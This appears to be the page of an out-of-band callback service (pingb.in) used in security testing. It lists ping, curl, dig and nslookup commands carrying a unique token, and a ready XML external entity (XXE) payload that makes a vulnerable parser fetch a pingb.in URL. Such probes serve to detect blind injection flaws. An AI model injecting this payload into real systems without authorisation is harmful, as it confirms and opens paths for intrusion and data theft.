$ ping -c1 -p 00f108ed131dc4e0f51ffd3d6da04d00 pingb.in
 
$ curl pingb.in/p/f108ed131dc4e0f51ffd3d6da04d
 
$ dig f108ed131dc4e0f51ffd3d6da04d @pingb.in
 
$ dig f108ed131dc4e0f51ffd3d6da04d.ns.pingb.in
 
C:\> nslookup f108ed131dc4e0f51ffd3d6da04d pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/f108ed131dc4e0f51ffd3d6da04d">]>
    <foo>&xxe;</foo>
 
Waiting for ping...